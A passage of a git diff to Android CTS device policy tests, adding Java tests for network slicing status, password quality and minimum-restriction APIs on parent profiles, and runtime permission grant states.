+            if (mReceiver.mBatchCountDown.getCount() > 0) {
+                fail("Did not get DeviceAdminReceiver#onNetworkLogsAvailable callback");
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkSlicingStatusTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkSlicingStatusTest.java
new file mode 100644
index 0000000..10971d7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkSlicingStatusTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+public class NetworkSlicingStatusTest extends BaseDeviceAdminTest {
+    private static final String TAG = "NetworkSlicingStatusTest";
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    public void testGetSetNetworkSlicingStatus() throws Exception {
+        // Assert default status is true
+        assertTrue(mDevicePolicyManager.isNetworkSlicingEnabled());
+
+        mDevicePolicyManager.setNetworkSlicingEnabled(false);
+        assertFalse(mDevicePolicyManager.isNetworkSlicingEnabled());
+
+        mDevicePolicyManager.setNetworkSlicingEnabled(true);
+        assertTrue(mDevicePolicyManager.isNetworkSlicingEnabled());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index 44097cc..ad7208c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
@@ -147,4 +150,17 @@
                         restriction));
     }
 
+    public void testCanSetPasswordQualityOnParent() {
+        mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_COMPLEX);
+        try {
+            assertThat(mParentDevicePolicyManager.getPasswordQuality(
+                    ADMIN_RECEIVER_COMPONENT)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            // Cleanup
+            mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
new file mode 100644
index 0000000..3a851ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+/** Tests minimum password restriction APIs, including on parent profile instances. */
+public class PasswordMinimumRestrictionsTest extends BaseDeviceAdminTest {
+
+    private static final int TEST_PASSWORD_LENGTH = 5;
+    private static final int TEST_PASSWORD_LENGTH_LOW = 2;
+    private static final String[] METHOD_LIST = {
+            "PasswordMinimumLength",
+            "PasswordMinimumUpperCase",
+            "PasswordMinimumLowerCase",
+            "PasswordMinimumLetters",
+            "PasswordMinimumNumeric",
+            "PasswordMinimumSymbols",
+            "PasswordMinimumNonLetter",
+            "PasswordHistoryLength"};
+
+    private DevicePolicyManager mParentDpm;
+    private int mCurrentAdminPreviousPasswordQuality;
+    private int mParentPreviousPasswordQuality;
+    private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
+    private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        mCurrentAdminPreviousPasswordQuality =
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        for (String method : METHOD_LIST) {
+            mCurrentAdminPreviousPasswordRestriction
+                    .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
+            mParentPreviousPasswordRestriction
+                    .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    mCurrentAdminPreviousPasswordRestriction.get(i));
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    mCurrentAdminPreviousPasswordRestriction.get(i));
+        }
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                mCurrentAdminPreviousPasswordQuality);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
+        super.tearDown();
+    }
+
+    public void testPasswordMinimumRestriction() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + 2 * i);
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(
+                    getMethodName(METHOD_LIST[i])
+                            + " failed to get expected value on mDevicePolicyManager.",
+                    TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(
+                    getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
+                    TEST_PASSWORD_LENGTH + 2 * i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    public void testSetPasswordMinimumRestrictionWithNull() {
+        // Test with mDevicePolicyManager.
+        for (String method : METHOD_LIST) {
+            try {
+                invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
+                fail("Exception should have been thrown for null admin ComponentName");
+            } catch (Exception e) {
+                if (!(e.getCause() instanceof NullPointerException)) {
+                    fail("Failed to execute set method: " + setMethodName(method));
+                }
+                // Expected to throw NullPointerException.
+            }
+        }
+
+        // Test with mParentDpm.
+        for (String method : METHOD_LIST) {
+            try {
+                invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
+                fail("Exception should have been thrown for null admin ComponentName");
+            } catch (Exception e) {
+                if (!(e.getCause() instanceof NullPointerException)) {
+                    fail("Failed to execute set method: " + setMethodName(method));
+                }
+                // Expected to throw NullPointerException.
+            }
+        }
+    }
+
+    public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            // Check getMethod with null admin. It should return the aggregated value (which is the
+            // only value set so far).
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH_LOW + i);
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+
+            // Set strict password minimum restriction using parent instance.
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+
+            // Set strict password minimum restriction on current admin.
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            // Set password minimum restriction using parent instance.
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH_LOW + i);
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    /**
+     * Calls dpm.set{methodName} with given component name and length arguments using reflection.
+     */
+    private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
+            ComponentName componentName, int length) throws Exception {
+        final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
+                ComponentName.class, int.class);
+        setMethod.invoke(dpm, componentName, length);
+    }
+
+    /**
+     * Calls dpm.get{methodName} with given component name using reflection.
+     */
+    private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
+            ComponentName componentName) throws Exception {
+        final Method getMethod =
+                DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
+        return (int) getMethod.invoke(dpm, componentName);
+    }
+
+    private String setMethodName(String methodName) {
+        return "set" + methodName;
+    }
+
+    private String getMethodName(String methodName) {
+        return "get" + methodName;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
new file mode 100644
index 0000000..fc4213e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+
+/** Test combination of quality and complexity. */
+public class PasswordQualityAndComplexityTest extends BaseDeviceAdminTest {
+
+    private DevicePolicyManager mParentDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        clearQualityAndComplexity(mDevicePolicyManager);
+        clearQualityAndComplexity(mParentDpm);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        clearQualityAndComplexity(mDevicePolicyManager);
+        clearQualityAndComplexity(mParentDpm);
+        super.tearDown();
+    }
+
+    public void testCannotSetComplexityWithQualityOnParent() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(
+                PASSWORD_COMPLEXITY_NONE);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+        assertThrows(IllegalStateException.class, () ->
+                mDevicePolicyManager.setRequiredPasswordComplexity(
+                        DevicePolicyManager.PASSWORD_COMPLEXITY_LOW));
+    }
+
+    public void testCannotSetQualityOnParentWithComplexity() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(
+                DevicePolicyManager.PASSWORD_COMPLEXITY_LOW);
+
+        assertThrows(IllegalStateException.class, () ->
+                mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                        PASSWORD_QUALITY_SOMETHING));
+    }
+
+    private static void clearQualityAndComplexity(DevicePolicyManager dpm) {
+        // Clear quality
+        dpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        // Clear complexity
+        dpm.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 87d6fd5..1362c5a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -17,31 +17,32 @@
 
 import static android.Manifest.permission.READ_CONTACTS;
 import static android.Manifest.permission.WRITE_CONTACTS;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_PROMPT;
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
 import android.Manifest.permission;
-import android.app.AppOpsManager;
 import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.UiWatcher;
-import android.support.test.uiautomator.Until;
 import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
+import com.android.cts.devicepolicy.PermissionBroadcastReceiver;
+import com.android.cts.devicepolicy.PermissionUtils;
+
 import com.google.android.collect.Sets;
 
 import java.util.Set;
-import java.util.concurrent.ArrayBlockingQueue;
-import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -49,29 +50,21 @@
  * Test Runtime Permissions APIs in DevicePolicyManager.
  */
 public class PermissionsTest extends BaseDeviceAdminTest {
+
     private static final String TAG = "PermissionsTest";
 
-    private static final String PERMISSION_APP_PACKAGE_NAME
-            = "com.android.cts.permissionapp";
-    private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
-            "com.android.cts.launcherapps.simplepremapp";
+    private static final String PERMISSION_APP_PACKAGE_NAME = "com.android.cts.permissionapp";
+    private static final String PRE_M_APP_PACKAGE_NAME
+            = "com.android.cts.launcherapps.simplepremapp";
+    private static final String PERMISSIONS_ACTIVITY_NAME
+            = PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
     private static final String CUSTOM_PERM_A_NAME = "com.android.cts.permissionapp.permA";
     private static final String CUSTOM_PERM_B_NAME = "com.android.cts.permissionapp.permB";
     private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
 
-    private static final String PERMISSIONS_ACTIVITY_NAME
-            = PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
-    private static final String ACTION_CHECK_HAS_PERMISSION
-            = "com.android.cts.permission.action.CHECK_HAS_PERMISSION";
-    private static final String ACTION_REQUEST_PERMISSION
-            = "com.android.cts.permission.action.REQUEST_PERMISSION";
     private static final String ACTION_PERMISSION_RESULT
             = "com.android.cts.permission.action.PERMISSION_RESULT";
-    private static final String EXTRA_PERMISSION
-            = "com.android.cts.permission.extra.PERMISSION";
-    private static final String EXTRA_GRANT_STATE
-            = "com.android.cts.permission.extra.GRANT_STATE";
-    private static final int PERMISSION_ERROR = -2;
+
     private static final BySelector CRASH_POPUP_BUTTON_SELECTOR = By
             .clazz(android.widget.Button.class.getName())
             .text("OK")
@@ -80,17 +73,20 @@
             .clazz(android.widget.TextView.class.getName())
             .pkg("android");
     private static final String CRASH_WATCHER_ID = "CRASH";
+    private static final String AUTO_GRANTED_PERMISSIONS_CHANNEL_ID =
+            "alerting auto granted permissions";
 
     private static final Set<String> LOCATION_PERMISSIONS = Sets.newHashSet(
             permission.ACCESS_FINE_LOCATION,
             permission.ACCESS_BACKGROUND_LOCATION,
             permission.ACCESS_COARSE_LOCATION);
 
-    public static final String AUTO_GRANTED_PERMISSIONS_CHANNEL_ID =
-            "alerting auto granted permissions";
+    // TODO: Augment with more permissions
+    private static final Set<String> SENSORS_PERMISSIONS = Sets.newHashSet(
+            permission.ACCESS_FINE_LOCATION);
+
 
     private PermissionBroadcastReceiver mReceiver;
-    private PackageManager mPackageManager;
     private UiDevice mDevice;
 
     @Override
@@ -98,7 +94,6 @@
         super.setUp();
         mReceiver = new PermissionBroadcastReceiver();
         mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_PERMISSION_RESULT));
-        mPackageManager = mContext.getPackageManager();
         mDevice = UiDevice.getInstance(getInstrumentation());
     }
 
@@ -109,391 +104,393 @@
         super.tearDown();
     }
 
-    /** Return values of {@link #checkPermission} */
-    int PERMISSION_DENIED = PackageManager.PERMISSION_DENIED;
-    int PERMISSION_GRANTED = PackageManager.PERMISSION_GRANTED;
-    int PERMISSION_DENIED_APP_OP = PackageManager.PERMISSION_DENIED - 1;
+    public void testPermissionGrantStateDenied() throws Exception {
+        setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
 
-    /**
-     * Correctly check a runtime permission. This also works for pre-m apps.
-     */
-    private int checkPermission(String permission, int uid, String packageName) {
-        if (mContext.checkPermission(permission, -1, uid) == PackageManager.PERMISSION_DENIED) {
-            return PERMISSION_DENIED;
+        assertPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+        assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testPermissionGrantStateDenied_permissionRemainsDenied() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+
+            assertNoPermissionFromActivity(READ_CONTACTS);
+
+            // Should stay denied
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
+
+            assertNoPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
         }
+    }
 
-        if (mContext.getSystemService(AppOpsManager.class).noteProxyOpNoThrow(
-                AppOpsManager.permissionToOp(permission), packageName, uid, null, null)
-                != AppOpsManager.MODE_ALLOWED) {
-            return PERMISSION_DENIED_APP_OP;
+    public void testPermissionGrantStateDenied_mixedPolicies() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+
+            // Check no permission by launching an activity and requesting the permission
+            // Should stay denied if grant state is denied
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
         }
-
-        return PERMISSION_GRANTED;
     }
 
-    public void testPermissionGrantState() throws Exception {
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertPermissionGrantState(PackageManager.PERMISSION_DENIED);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+    public void testPermissionGrantStateDenied_otherPermissionIsGranted() throws Exception {
+        int grantStateA = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, CUSTOM_PERM_A_NAME);
+        int grantStateB = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, CUSTOM_PERM_B_NAME);
+        try {
+            setPermissionGrantState(CUSTOM_PERM_A_NAME, PERMISSION_GRANT_STATE_GRANTED);
+            setPermissionGrantState(CUSTOM_PERM_B_NAME, PERMISSION_GRANT_STATE_DENIED);
 
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        // Should stay denied
-        assertPermissionGrantState(PackageManager.PERMISSION_DENIED);
+            assertPermissionGrantState(CUSTOM_PERM_A_NAME, PERMISSION_GRANT_STATE_GRANTED);
+            assertPermissionGrantState(CUSTOM_PERM_B_NAME, PERMISSION_GRANT_STATE_DENIED);
 
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-        assertPermissionGrantState(PackageManager.PERMISSION_GRANTED);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        // Should stay granted
-        assertPermissionGrantState(PackageManager.PERMISSION_GRANTED);
+            /*
+             * CUSTOM_PERM_A_NAME and CUSTOM_PERM_B_NAME are in the same permission group and one is
+             * granted the other one is not.
+             *
+             * It should not be possible to get the permission that was denied via policy granted by
+             * requesting it.
+             */
+            assertCannotRequestPermissionFromActivity(CUSTOM_PERM_B_NAME);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(CUSTOM_PERM_A_NAME, grantStateA);
+            setPermissionGrantState(CUSTOM_PERM_B_NAME, grantStateB);
+        }
     }
 
-    public void testPermissionPolicy() throws Exception {
-        // reset permission to denied and unlocked
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+    public void testPermissionGrantStateGranted() throws Exception {
+        setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
 
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-        // permission should be locked, so changing the policy should not change the grant state
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-
-        // reset permission to denied and unlocked
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-        // permission should be locked, so changing the policy should not change the grant state
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
+        assertPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
     }
 
-    public void testPermissionMixedPolicies() throws Exception {
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+    public void testPermissionGrantStateGranted_permissionRemainsGranted() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
 
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+            assertHasPermissionFromActivity(READ_CONTACTS);
 
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+            // Should stay granted
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
 
